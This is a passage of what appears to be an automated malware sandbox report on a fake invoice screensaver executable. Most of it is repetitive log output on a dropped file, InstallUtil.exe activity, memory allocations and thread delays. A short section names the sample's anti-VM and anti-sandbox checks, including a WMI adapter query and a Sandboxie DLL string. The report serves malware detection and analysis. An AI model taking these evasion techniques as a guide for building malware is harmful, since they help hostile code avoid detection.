Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Memory allocated: 8E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Memory allocated: 2570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Memory allocated: 4570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory allocated: 1230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory allocated: 4B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4840000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599318	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598816	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598685	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596317	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596180	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595898	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594616	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594498	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595625	Jump to behavior
